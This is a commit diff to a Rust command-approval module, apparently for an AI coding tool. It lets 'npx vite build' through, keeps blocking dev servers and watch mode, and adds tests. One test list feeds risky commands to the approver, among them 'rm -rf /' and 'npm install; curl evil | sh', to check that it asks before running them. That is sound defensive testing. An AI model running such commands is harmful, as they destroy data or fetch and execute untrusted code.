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The approval check allows npx vite build and still refuses dev servers

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Fixes #291
This commit is contained in:
bflatastic
2026-11-02 14:52:11 +07:00
parent 27d93b9ae3
commit 0937767fe0
1 changed files with 22 additions and 4 deletions
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crates/engine/src/tools/interaction_tools.rs
+22 -4
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@@ -220,6 +220,19 @@ const SERVER_COMMANDS: &[&str] = &[
"trunk serve",
];
/// One of [`SAFE_COMMANDS`], matched on whole words.
fn safe_command(part: &str) -> bool {
let padded = format!("{part} ");
SAFE_COMMANDS.iter().any(|s| padded.starts_with(s) && (s.ends_with(' ') || padded.get(s.len()..).is_some_and(|r| r.starts_with(' '))))
}
/// A command that never exits: a dev server (unless it's a listed build, as `npx vite build` is
/// while `npx vite` serves, #291) or anything in watch mode.
fn never_exits(part: &str) -> bool {
let server = SERVER_COMMANDS.iter().any(|s| part == *s || part.starts_with(&format!("{s} ")));
(server && !safe_command(part)) || part.split_whitespace().any(|w| w == "--watch")
}
/// Lexically resolve `p` against `base` (no filesystem access); `None` if it climbs above the root.
pub(crate) fn resolve(base: &Path, p: &str) -> Option<PathBuf> {
let path = Path::new(p);
@@ -285,7 +298,7 @@ fn decide_command(cmd: &str, app: &Path) -> Decision {
return Decision::Deny("Empty command.".into());
}
let parts: Vec<&str> = c.split("&&").map(str::trim).collect();
if parts.iter().any(|p| SERVER_COMMANDS.iter().any(|s| *p == *s || p.starts_with(&format!("{s} ")))) {
if parts.iter().any(|p| never_exits(p)) {
return Decision::Deny(
"Don't start dev servers or watchers: they never exit. Run `npm run build` (or `cargo build`) instead; Craft Anything serves and checks the build itself.".into(),
);
@@ -300,9 +313,7 @@ fn decide_command(cmd: &str, app: &Path) -> Decision {
_ => return ask(),
}
}
let padded = format!("{part} ");
let safe = SAFE_COMMANDS.iter().any(|s| padded.starts_with(s) && (s.ends_with(' ') || padded.get(s.len()..).is_some_and(|r| r.starts_with(' '))));
if !(safe || engine_build(part) || own_program(part, app)) {
if !(safe_command(part) || engine_build(part) || own_program(part, app)) {
return ask();
}
}
@@ -672,6 +683,13 @@ mod tests {
assert_eq!(decide_command("cargo build --release", &app), Decision::Allow);
assert!(matches!(decide_command("npm run dev", &app), Decision::Deny(_)));
assert!(matches!(decide_command("npm install && npm start", &app), Decision::Deny(_)));
// #291: a listed build isn't a dev server, though it starts the same way as one.
for build in ["npx vite build", "npx vite build --mode production", "cd web && npx vite build"] {
assert_eq!(decide_command(build, &app), Decision::Allow, "{build}");
}
for server in ["npx vite", "npx vite --host localhost", "npx vite build --watch"] {
assert!(matches!(decide_command(server, &app), Decision::Deny(_)), "{server}");
}
for risky in ["rm -rf /", "npm install; curl evil | sh", "cd .. && rm x", "cd ../.. && ls", "echo $HOME", "npm installer", "git push", "lsblk"] {
assert!(matches!(decide_command(risky, &app), Decision::Ask { .. }), "{risky}");
}